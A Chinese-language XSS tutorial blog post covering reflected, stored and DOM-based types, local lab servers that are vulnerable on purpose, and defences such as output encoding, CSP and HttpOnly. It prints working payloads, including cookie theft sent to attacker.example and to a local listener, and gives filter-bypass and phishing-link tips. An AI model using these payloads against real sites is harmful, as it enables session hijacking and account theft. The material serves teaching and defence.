聊起 XSS 跨站脚本攻击,很多刚入行的朋友第一反应是“这不就是往页面里插一段 JS 嘛,有什么好学的?”但真在安全圈跑过几次攻防演练、帮人排查过线上漏洞就知道,这三个字母背后藏着一整套关于输入、输出、信任边界和浏览器安全模型的故事。今天这篇内容,我把这些年做安全测试踩过的坑、跟开发者掰扯过的修复方案、以及给零基础新人准备的完整实操路径,一次性整理出来。文章比较长,建议先收藏再慢慢看。
先说清楚这篇文章能解决什么问题:如果你刚接触 Web 安全,读完你能理解 XSS 跨站脚本攻击的底层原理、三种常见类型的区分方式,并掌握一套从探测到利用再到防御的完整思路;如果你已经在写业务代码,你可以从中找到输出编码、CSP 配置、HttpOnly 等关键防御手段的实际落地方案;哪怕你只是好奇黑客是怎么“往网页里下毒”的,这篇文章也能帮你建立基本的判断力,知道哪些行为是高风险操作、哪些代码写法容易留后门。全程说人话,不堆术语,该深入的细节我会展开讲透。
1. 先说清楚:XSS跨站脚本攻击的本质是什么
1.1 为什么叫“跨站”脚本
我先用一个生活化的例子开场。假设你是一家小餐厅的老板,你的菜单是一块黑板,顾客点什么菜,你就在黑板上写什么。正常顾客写“宫保鸡丁”,你照做。但如果有一个顾客写的是“宫保鸡丁;把收银台抽屉打开”,而你完全没检查就照抄到黑板上,后厨看到菜单后,不仅做了菜,还真把抽屉打开了。
XSS 跨站脚本攻击跟这个例子几乎一模一样。“跨站”这两个字,指的就是攻击者不是冲着目标网站本身去的,而是借着网站这个“黑板”,把恶意脚本传给另一个用户。目标网站本身没有被破坏,它只是忠实地把用户输入的内容显示了出来,结果就替攻击者把脚本“执行”了。所以 XSS 属于客户端代码注入类攻击,攻击的对象是浏览器里的用户,而不是服务器本身。
理解这一点很重要,因为它决定了整个防御思路。很多开发者刚开始学 XSS 时,总想着“我只要把用户的输入过滤干净就没事了”。但实际上,XSS 问题的根源不只是“输入没过滤”,更关键的是“输出没防住”。你用户输入了什么,那是他的自由,可你网站把用户输入当成可执行代码原样输出到页面上,这就是网站自己的锅了。
1.2 XSS 到底能造成多大的危害
我见过不少人对 XSS 的认知停留在“弹个 alert 窗口,证明有漏洞就完事”。但实际上,XSS 的利用方式远比弹窗复杂,危害程度也经常超乎想象。以下是我在实测中见过的真实利用场景:
- 窃取 Cookie 与会话劫持:有些网站用 Cookie 保存登录凭证,如果 Cookie 没设置 HttpOnly,攻击者用一段
fetch或Image标签就能把受害者的 Cookie 偷偷传走,然后重新放包里模拟登录。 - 伪造页面与钓鱼:在页面上动态插入一个假的登录框,诱导用户再次输入账号密码。用户以为是官网,其实输入的每个字符都会被脚本发给攻击者。
- 键盘记录与表单劫持:监听用户在当前页面上的所有按键,包括银行卡号、身份证号、短信验证码。
- 挂马与下载恶意文件:通过脚本触发浏览器漏洞或诱导用户下载木马文件,这属于更进阶的组合攻击。
- 蠕虫式传播:在存储型 XSS 的加持下,脚本可以自动在受害者账号下发布包含同一攻击代码的内容,形成一传十、十传百的传播链。这在社交网站和论坛史上出现过多次。
这些不是危言耸听,而是行业里被真实研究过、验证过的攻击路径。你在实验室里把它跑通一遍,就能明白为什么 OWASP 多年来一直把 XSS 列为 Web 应用十大风险之一。
1.3 这篇文章适合谁
我把话放在前面,这篇文章适合三类人:
第一类是刚转行做安全测试或渗透测试的新人,你需要一套明确的学习路线,知道从哪里入手、怎么搭建实验环境、怎么看结果;第二类是正在开发 Web 应用的工程师,你要弄清楚自己写的代码里哪些地方是重灾区,为什么评审时总被安全同事揪出 XSS,以及怎么在最短时间内修复;第三类是对安全感兴趣的大学生或普通网友,你想知道黑客是怎么做到的,也想学会怎么保护自己。
如果你已经有扎实的前端基础,可以直接跳到第 3 节看实操,再回来看原理和防御;如果你是纯小白,那我建议老老实实从第 2 节开始,把三种类型的区分摸透,后面走上路就很顺了。
2. 三种类型必须分清:反射型、存储型、DOM型
很多新手一看“XSS”就头晕,其实核心就三种类型。把三种类型从“攻击代码存放在哪里、什么时候执行、谁会被害”这三个维度看一遍,整个脉络就清楚了。我下面逐个拆开讲,每种都配一个容易理解的生活类比。
2.1 反射型 XSS:一触即发的“过路攻击”
反射型 XSS 的特点,是恶意脚本不存储在服务器上,而是藏在 URL 参数、表单提交数据里,服务器接收到之后,又把它原样“反射”到响应页面上。整个过程像弹球:攻击者的脚本被服务器接住,又立刻弹给受害者。
典型场景就是搜索框。你用https://example.com/search?keyword=hello搜索,页面显示“您搜索的关键词是:hello”,如果网站没对hello做任何输出编码,攻击者就能把 URL 改成:
https://example.com/search?keyword=<script>alert(document.cookie)</script>然后把这条链接发给目标用户。用户点击之后,浏览器向服务器请求了这个带脚本的 URL,服务器把<script>alert(document.cookie)</script>原样输出到页面里,浏览器解析时脚本就执行了。
这里有一个很多人初学时会犯的认知误区:以为攻击者把链接发给谁,谁就会中招。但实际上,脚本是在受害者的浏览器里执行的,用的是受害者的登录状态和 Cookie。攻击者要做的,不是直接访问这个 URL,而是想办法让受害者访问。
反射型 XSS 之所以叫“反射”,还因为它有另一个特征:载荷不持久。你刷新一下,或者换个参数,脚本就没了。所以它更常见于钓鱼邮件、社交平台私信、短链接伪装等需要诱导点击的场景。
实操中我习惯把反射型 XSS 当作“入门第一课”,因为它的原理最简单,实验条件也最容易搭。你只需要一个后端接口把参数原样返回,一个浏览器,就够了。
2.2 存储型 XSS:藏在服务器里的“定时炸弹”
存储型 XSS 比反射型危险一个量级,原因在于攻击者的脚本被永久保存在服务器端,任何用户访问到那段位置时都会中招。
最典型的场景是评论区、个人签名、昵称、日志系统等。攻击者在评论区提交一条消息,内容是:
<script> fetch('https://attacker.example/collect?cookie=' + document.cookie) </script>网站如果没对这条消息做过滤和输出编码就把它存进数据库,那每个打开这条评论的用户,浏览器都会自动向攻击者的服务器发送自己的 Cookie。你根本不需要点击任何链接,只要页面加载,脚本就跑了。
这就像你在小区公告栏里贴了一张纸条,纸条上写着“请所有路过的人把家门钥匙交给我”,而物业从来没检查过公告栏内容,路过的人还都照做了。
危害程度取决于存储位置和存储内容的“曝光率”。存在用户公开资料页的存储型 XSS,所有访问者都可能受害;存在管理后台某个日志视图里的存储型 XSS,则可能演变成针对管理员的攻击,一旦管理员中招,整个站点都可能被拿下。我在实际攻防演练中做过几次管理员视角的存储型 XSS 利用,最后拿到了后台操作权限,那感觉就是整条链路一旦打通,比你爆破一万次密码都管用。
2.3 DOM 型 XSS:纯前端世界的隐秘角落
DOM 型 XSS 跟前面两种有一个本质区别:恶意脚本根本不经过服务器,是纯前端 JavaScript 代码在处理数据时,把不可信内容直接拼进了 DOM,然后导致代码执行。
举个例子,前端代码经常这样写:
var name = getParameterByName('name'); document.getElementById('welcome').innerHTML = '欢迎你,' + name;假如 URL 是https://example.com/index.html?name=<img src=x onerror=alert(1)>,浏览器加载这个页面时,getParameterByName拿到name参数,然后innerHTML把它当作 HTML 解析,图片加载失败触发onerror,脚本就执行了。
整个过程服务器浑然不觉,服务器只是返回了一个静态 HTML 文件,攻击发生在浏览器里的 DOM 操作。这也是为什么 DOM 型 XSS 最难排查,因为你抓包看服务器响应完全正常,问题全在前端代码里。
常见的危险 DOM 操作包括:
innerHTML、outerHTMLdocument.writeeval、setTimeout、setInterval传入字符串insertAdjacentHTML- 使用
location.hash或location.search的值拼接 HTML
现在的前端框架(如 Vue、React)在默认情况下做了转义,极大减少了这类漏洞,但如果你用了v-html、dangerouslySetInnerHTML,就又亲手把保护层给拆掉了。这一点后面防御部分我会专门讲。
为了让你一目了然,我把三种类型的对比整理成了一张表:
| 维度 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 恶意代码存储位置 | 不存储,在 URL/请求中 | 存储在服务器数据库 | 不存储,在 URL 片段或前端存储中 |
| 触发条件 | 受害者点击恶意链接 | 受害者浏览含恶意内容的页面 | 受害者访问含恶意参数的 URL |
| 是否经过服务器 | 经过服务器反射 | 经过服务器存储与读取 | 基本不经过服务器 |
| 传播方式 | 钓鱼链接、短链 | 评论区、资料页、日志 | 前端路由、hash 参数 |
| 危害等级 | 中 | 高 | 中偏高 |
这张表我建议你截图存一下,面试也好、写报告也好,都很实用。
3. 从零到一:搭一个 XSS 实验环境并完整走一遍攻击链
学安全最忌讳的就是只看不练。我强烈建议你在自己电脑上搭一个实验环境,把三种类型都亲手触发一遍。下面这套流程我在本地滚动过很多次,每一步都有明确目的,跟着做就行。
3.1 准备环境:你只需要一个浏览器和一个本地服务
不要拿真实网站练手,那是违法的。我习惯用本地环境模拟目标,整个搭建过程不超过十分钟。
推荐两种方式,任选其一:
方式一:Python 快速起一个 HTTP 服务
如果你已经装了 Python,直接在工作目录写一个最简单的后端脚本:
from http.server import HTTPServer, BaseHTTPRequestHandler class Handler(BaseHTTPRequestHandler): def do_GET(self): # 模拟反射型 XSS:把查询参数原样拼到响应里 from urllib.parse import urlparse, parse_qs query = parse_qs(urlparse(self.path).query) keyword = query.get('keyword', [''])[0] body = f'<html><body><h1>搜索结果</h1><p>你搜索的是:{keyword}</p></body></html>'.encode('utf-8') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(body) if __name__ == '__main__': server = HTTPServer(('127.0.0.1', 8000), Handler) print('Server on http://127.0.0.1:8000') server.serve_forever()启动之后,浏览器访问:
http://127.0.0.1:8000/?keyword=<script>alert('XSS')</script>如果页面上弹出XSS提示框,说明反射型 XSS 的链路已经打通了。
方式二:直接用 HTML 文件模拟 DOM 型 XSS
新建一个dom_test.html,内容如下:
<!DOCTYPE html> <html> <body> <div id="output"></div> <script> function getParam(name) { return new URLSearchParams(location.search).get(name); } var name = getParam('name') || '陌生人'; document.getElementById('output').innerHTML = '欢迎你,' + name; </script> </body> </html>浏览器打开dom_test.html?name=<img src=x onerror=alert(1)>,你会看到图片加载失败触发alert(1)。这个环境中没有后端,纯粹是前端 DOM 操作引发的,体验非常直接。
这里有两个环境搭建的关键细节,新人格外注意:
提示:测试时浏览器可能拦截部分 XSS 载荷。Chrome 的 XSS Auditor 在 URL 参数里检测到可疑脚本时,会阻止页面执行。遇到拦截不要慌,你可以在攻击者角度测试时把地址栏 URL 中的
<script>标签换一种编码形式,或换一个不同触发方式的载荷(后面我会给绕过思路);在防御者角度测试时,浏览器拦截其实是在“帮你”防御。
提示:所有实验务必在
127.0.0.1本地环境进行,不要对公网站点做未授权测试。
3.2 从探测到利用:一次完整的攻击链拆解
环境搭好之后,我带你走一遍完整攻击链。这里我用一个模拟的“留言板”场景,对应存储型 XSS。
先做一个简陋的留言板页面,功能是允许用户提交昵称和留言内容,服务器存进数组,显示时原样输出:
from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs messages = [] class BoardHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/': items = ''.join( f'<div><b>{nick}</b>: {content}</div>' for nick, content in messages ) form = ''' <form method="GET" action="/add"> <input name="nick" placeholder="昵称"> <input name="content" placeholder="留言"> <button type="submit">提交</button> </form> ''' body = f'<html><body><h1>模拟留言板</h1>{form}{items}</body></html>' self.send_response(200) self.send_header('Content-type', 'text/html; charset=utf-8') self.end_headers() self.wfile.write(body.encode('utf-8')) elif self.path.startswith('/add'): query = parse_qs(urlparse(self.path).query) nick = query.get('nick', [''])[0] content = query.get('content', [''])[0] messages.append((nick, content)) self.send_response(302) self.send_header('Location', '/') self.end_headers() else: self.send_response(404) self.end_headers() if __name__ == '__main__': server = HTTPServer(('127.0.0.1', 8000), BoardHandler) print('Board on http://127.0.0.1:8000') server.serve_forever()接下来,我按攻击者的视角走完探测和利用:
第一步:探测是否存在 XSS 注入点
普通用户提交一条留言:昵称“小明”,内容“你好”。页面正常显示。然后改提交内容为一个不闭合但有特殊字符的字符串,比如:
<img src=1 onerror=alert(document.cookie)>提交后刷新页面,如果弹出 Cookie 内容,漏洞已经确认。
第二步:为什么这个载荷能生效
拆解一下:<img src=1 onerror=...>这段代码被浏览器解析成一个图片标签,src=1表示加载一张不存在的图片,加载失败触发onerror事件,事件里指定的 JavaScript 代码就执行了。
这里有一个细节很多新手不理解:为什么用img onerror而不用<script>?原因有两个:
- 有些浏览器和服务端过滤逻辑对
<script>字样的检测比较敏感,而img onerror是 HTML 事件属性触发,可绕过很多简单的黑名单过滤; <script>标签插入到innerHTML时,部分浏览器不会执行其中的脚本,但事件属性不同,解析到就能触发。
第三步:验证危害——把 Cookie 外带
把载荷改成真正有危害的版本:
<script> new Image().src = 'http://127.0.0.1:9999/collect?c=' + document.cookie; </script>在另一个终端跑一个监听服务(Netcat、Python 简易服务器都行,这里我用 Python 起一个 HTTP 监听):
python3 -m http.server 9999然后刷新留言板页面。你会看到监听端收到一条类似GET /collect?c=xxx的日志。这就模拟了攻击者拿到受害者的 Cookie 的完整过程。
第四步:分析为什么存储型更危险
继续思考,如果这段留言被所有用户看到,那么每个访问者都会向攻击者的服务器发送自己的 Cookie。这就是为什么存储型 XSS 经常被称为“大规模杀伤性武器”。
3.3 实操中新手最容易踩的三个坑
我遇到过不少人照着教程做,结果测试不成功、要么怀疑人生,要么直接跳过。这里把我自己反复踩过的坑列出来,帮你绕开。
坑一:中文内容搞乱 URL 编码
如果你提交的留言包含中文或特殊符号,浏览器会自动进行 URL 编码。你在脚本中打印self.path时看到的是一堆%加十六进制字符。这不影响最终页面显示,但会影响你在抓包和调试时的判断。建议初期统一用英文和纯 ASCII 字符做测试,别让编码问题干扰你对流程的理解。
坑二:现代浏览器自带防护,会“演砸”你的攻击
我上面提到过,Chrome 内置的 XSS Auditor 对反射型 XSS 有拦截,Firefox 也在加强。如果你在本地测试时发现某条载荷没生效,先别急着怀疑自己的原理理解问题,打开浏览器开发者工具,看 Console 里有没有类似“已拦截”的提示。遇到拦截,换一种载荷、换一个浏览器再验证一次。
坑三:把注意力放在“弹窗”上,忽略了“链路”
弹窗只是证明“JavaScript 能执行”的标志,不是终点。很多新手弹完窗就收工了。真正的攻防思维是你应该问自己:脚本能执行之后,我还能做什么?能不能拿到 Cookie?能不能调用接口改数据?能不能把当前页面引到钓鱼页?这种思维方式要靠多做实验来培养,不是看几篇文章就会的。
3.4 从攻击者视角理解,再切回防御者视角
把上面的攻击链完整走一遍之后,你会发现一个残酷的事实:从攻击者的角度来看,XSS 的利用门槛并不高,一段简单的脚本就能造成危害。但从防御者的角度看,要彻底堵住这一类漏洞,又涉及到前端、后端、浏览器安全策略三个层面。
我现在刻意强调这个视角切换,是想让你明白:看懂攻击只是第一步,能写出防御方案才算真正学通了 XSS。下面这一节,就是把防御端彻底讲透。
4. 防御端实战:开发者视角下的 XSS 防线
4.1 第一道防线:输出编码,别把用户输入当成命令
防御 XSS 最核心的原则,不是“过滤用户的输入”,而是“对所有输出到页面的动态内容做编码”。
我记得有次跟一个后端同事排查线上问题,他反复强调“我们已经加过滤了,为什么还有 XSS?”。我看完代码后发现,他把“过滤”放在入参环节做,但“输出”环节完全没管。这就好比你家门口装了安检,可打入你家的管道却是敞开的,危险照样能进来。
正确的做法分三步:
第一步,识别所有把数据插入 HTML 的位置。包括:直接插入文本节点、插入 HTML 属性、插入 script 代码、插入 style、插入 URL 地址、插入事件属性。不同位置的编码规则完全不同。
第二步,选择正确的编码函数。HTML 实体编码能解决& < > " '等字符在文本节点和属性节点中的问题,但不能解决 JavaScript 上下文的全部问题。比如数据要插入<script>里,你需要做的是 JavaScript 字符串转义;要插入 URL 属性,你得做 URL 编码。很多防 XSS 库(例如各语言自带的htmlspecialchars、前端框架默认的插值转义)做的是 HTML 上下文编码,这已经能挡住一大半场景,但搞清楚每个库到底管哪一段上下文,是工程师的基本功。
第三步,不要相信任何黑名单。我见过太多项目用“禁用<script>、禁用onerror、禁用javascript:”这种黑名单策略,结果攻击者换一种浏览器能解析的姿势就绕过了。黑名单永远追不上攻击者的想象力。真正可靠的是白名单加输出编码的组合。
以 Python 后端为例,脆弱的写法是:
return f'<p>你好,{user_input}</p>'安全的写法是:
from html import escape return f'<p>你好,{escape(user_input)}</p>'前端 JavaScript 里同理,能不用innerHTML就不用,换成textContent:
// 危险 el.innerHTML = '你好,' + userInput; // 安全 el.textContent = '你好,' + userInput;这里面的核心差异就一句话:innerHTML告诉浏览器“这段内容里面有 HTML,你解析一下”,textContent告诉浏览器“这只是一段纯文本,别乱动”。别小看这一行代码的区别,我在多个项目里见到的安全漏洞都栽在这个细节上。
4.2 第二道防线:CSP,给浏览器上把锁
光靠代码层面的输出编码,总有百密一疏的可能。这时候你就需要一个兜底方案:内容安全策略(Content Security Policy,CSP)。
CSP 的核心理念是让服务器告诉浏览器:“这个页面只允许加载和执行来自我指定来源的脚本,其他的一律拒绝。”即使攻击者把恶意脚本以inline形式插进了页面,浏览器也会因为 CSP 的拦截而拒绝执行。
一个基础的 CSP 响应头长这样:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'它的意思是:
default-src 'self':所有资源默认只能从当前域名加载;script-src 'self':脚本只能从当前域名加载,禁止内联脚本和内联事件处理函数;object-src 'none':禁止加载任何插件资源。
配置了上面的策略之后,之前我们测试用的<img onerror=...>和<script>...</script>都不会执行,因为内联脚本和事件属性都被 CSP 拦住了。
不过 CSP 有一个会让开发者抓狂的副作用:很多正常业务用的内联脚本也会被拦。最常见的就是你为了性能直接在 HTML 里写的<script>代码块,以及某些第三方统计脚本。解决办法是给内联脚本加nonce或 hash,让 CSP 只放行你显式标记过的脚本。
我一般在项目里推荐分阶段推进 CSP:
第一阶段:只开启报告模式。在响应头里用Content-Security-Policy-Report-Only,不实际拦截,但让浏览器把违规行为汇报到指定的 URI。这样你能摸清现有页面上有多少“违规但正常”的脚本。
第二阶段:逐步收紧策略。先把最宽松的策略跑几天,收集报告,然后把script-src调整成'self'加必要的域名白名单,再处理剩余的内联脚本。
第三阶段:正式开启强制执行。当报告里的违规量降到可接受范围后,切换成正式的Content-Security-Policy头。
CSP 不是一个“配置完就完事”的东西,它是需要持续维护的动态策略。但哪怕只配置一个最简单的script-src 'self',也能挡住很大一部分 XSS 利用。
4.3 第三道防线:HttpOnly 和其他细节
代码层面的编码和 CSP 能阻止大部分脚本执行,但即使脚本真的执行了,我们还可以减小损失。这就轮到HttpOnly登场了。
HttpOnly是一个 Set-Cookie 的标志。设置了它之后,浏览器不允许 JavaScript 访问该 Cookie(document.cookie拿不到值),只能由浏览器在发送 HTTP 请求时自动带上。这样一来,攻击者即使搞定了 XSS,也无法通过document.cookie直接偷走会话凭证,他的“盗号链”就被卡住了一大半。
Node.js/Express 中设置 HttpOnly 的写法大概是:
res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'strict' });除了 HttpOnly,我建议开发者顺手做好这几件事:
- 给所有写入 Cookie 的敏感凭证加 Secure 标志,确保只在 HTTPS 连接下传输;
- 开启
SameSite属性,缓解 CSRF 和部分 XSS 链路的副作用; - 对上传文件做类型校验和重命名,避免用户直接上传一个 HTML/SVG 文件通过其他域名反射你的站点。这一点经常被忽略,SVG 文件里可以嵌脚本,攻击者把恶意 SVG 传到你的存储域名,也让所有访问该文件的人中招。
4.4 前端框架视角:为什么默认安全,你却亲手拆了保护
现在的前端框架在 XSS 防御上其实做了大量工作。Vue 的模板插值{{ value }}默认会转义,React 的 JSX 表达式的字符串渲染也默认转义。但问题在于,开发者一旦用上“危险逃生舱门”,很容易就把默认保护绕开:
- Vue 里的
v-html - React 里的
dangerouslySetInnerHTML - Angular 里通过
bypassSecurityTrustHtml手动信任的数据 - 通过
eval或new Function动态执行字符串代码
我在代码审计时看到v-html就会立刻警觉,要求开发者给出明确的安全论证,否则不允许上线。一定要记住:框架的默认转义是你最可靠的防线,每一次显式绕开转义,都要当作一次“裸奔”处理。
5. 常见问题与排查技巧实录
写代码、做安全测试,谁都会遇到一些奇奇怪怪的问题。我把这几年来被问得最多、以及我自己踩过坑的高频问题整理成一个速查表,方便你排查时对着看。
5.1 高频问题速查表
| 问题现象 | 最常见原因 | 快速排查方法 |
|---|---|---|
| 测试载荷在本地不行,但线上可以 | 本地代码做了隐式转义;或浏览器 XSS 防护拦截 | 对比页面响应源码,确认载荷有没有被编码 |
| 反射型 XSS 的 URL 很长很难传播 | 超长参数影响钓鱼成功率 | 改用短链、跳转页、JSONP 接口缩短 URL |
| 存储型 XSS 弹窗后一刷新就消失 | 数据库存的是阉割版字符串;或显示端做了部分清理 | 查看数据库原文,前端和后端分开排查 |
| DOM 型 XSS 在开发者工具里看不到请求 | 整个攻击路径都在前端,没有向后端发请求 | 直接在 Sources 里打断点,追踪变量进入 DOM 的位置 |
| 加了 CSP 后第三方组件渲染变乱 | CSP 把组件内部的内联脚本或样式拦了 | 开启 Report-Only 模式收集报告,再加白名单或改用外部资源 |
| 订单号、用户名等参数里有单引号导致报错 | 单引号闭合了属性或脚本字符串 | 使用 HTML 实体编码和 JavaScript 字符串转义,别只考虑双引号 |
| 同一段代码在 Chrome 能弹窗,Firefox 不行 | 两个浏览器的事件触发时机不同类型的限制不同 | 多浏览器交叉测试,别以单一浏览器结果为准 |
<script>标签插入后没有执行 | 某些 DOM API 不会执行动态插入的脚本 | 换用img onerror、svg onload、iframe srcdoc等载荷 |
5.2 容易忽视的几个细节
细节一:URL 解码和二次编码带来的误判。浏览器请求时会把 URL 里的%3C解码成<,服务器也可能做一次 URL 解码。如果你在浏览器地址栏输入的是%3Cscript%3E,开发者工具 Network 面板里看到的可能是解码后的<script>,也可能不是,取决于浏览器展示逻辑。排查时建议直接看服务端收到的原始报文字节,别只看 Network 面板的显示结果。
细节二:页面中有多个 Context,一个编码方案救不了所有地方。用户输入可能同时出现在 HTML 标签之间、标签属性里、JavaScript 字符串里、CSS 里、URL 里。没有一个通用编码函数能同时覆盖五个上下文。我见过最典型的翻车案例,是后端把用户昵称做了 HTML 实体编码,但在属性里它需要的是属性编码,结果实体编码虽然生效了,攻击者换用事件属性还是绕过。正确做法是每个上下文分别对待,必要时拆成多个字段,别偷懒。
细节三:测试时记得区分“源码”和“渲染结果”。我经常让开发者截图页面“右键查看源代码”,但他截的是开发者工具的 Elements 面板。两者不一样:view-source显示的是服务器返回的原始 HTML,而 Elements 面板显示的是浏览器经过 DOM 解析后的当前状态。排查 XSS 时,原则是:“如果服务器响应里没有这个脚本,那问题一定在前端 DOM 操作;如果服务器响应里有,说明问题出在后端输出。”这一句话能帮你快速定位责任边界。
细节四:对 JSONP 和第三方加载脚本保持警惕。有些老项目喜欢用 JSONP 跨域取数据,但 JSONP 本质上是“你信任一个外部接口,让它往你页面里注入一段脚本”。如果这个外部接口被攻破或者本身就是恶意的,等于你的页面门户大开。能不用尽量不用,改用 CORS 或服务端代理转发。
6. 写在最后:安全学习的心态与延伸方向
到这,攻击原理、类型区分、实操链路、防御方案、问题排查我都讲完了。如果你只看不做,可能两天后就会忘光;但只要你亲手把那三个实验环境搭一次,再动手修一遍“漏洞代码”,这些知识就会变成肌肉记忆。
如果接下来你还想继续往深走,我给你几个可供选择的延伸方向。
第一个是绕过与 WAF 对抗。你学会了基础的三种 XSS,下一步就是研究“为什么有些 XSS 测试工具能绕过简单 WAF”,背后的原理涉及各种编码混淆、浏览器解析差异、HTML 实体与 JS 的粘连上下文。这个方向更有对抗感,但对基础要求更高。
第二个是自动化检测与扫描。你可以试着写一个简单的爬虫加检测脚本,先抓取所有输入点,再自动提交一批 XSS 载荷,最后判断响应中是否出现可控回显。这会是很多扫描器核心逻辑的简化版,写一遍之后你会对“自动化安全测试”有很直观的认知。
第三个是XSS 与其他漏洞的组合利用。比如 XSS 加 CSRF 打一套组合拳,或者 XSS 前配合开放重定向做钓鱼链路的自动化投递。真正的漏洞利用几乎都是链式思维,网络安全也因此变得像解谜游戏,一环扣一环。
我个人这几年做安全最大的体会是:漏洞的本质不是代码写错了,而是程序员对“信任边界”的认知出了偏差。你默认用户输入是安全的,就会拼进 HTML;你默认第三方脚本是安全的,就会不经审查地加载。XSS 只是这种“过度信任”的一个表现,把输入和输出之间的信任关系捋清楚,你不仅能防住 XSS,还会自然而然地理解 SQL 注入、命令注入等其他注入类漏洞——因为它们的内核是同一个故事。
最后再分享一个小习惯。我每次写完一个涉及输出的功能,都会顺手在浏览器里测试这段 URL:
?keyword=</p><script>alert(1)</script>不为别的,就为养成肌肉记忆,让自己每次看到“动态拼接 + 输出”时多留一个心眼。这个习惯帮我拦住过好几次线上事故。希望这篇文章也能帮你建立起同样的“条件反射”。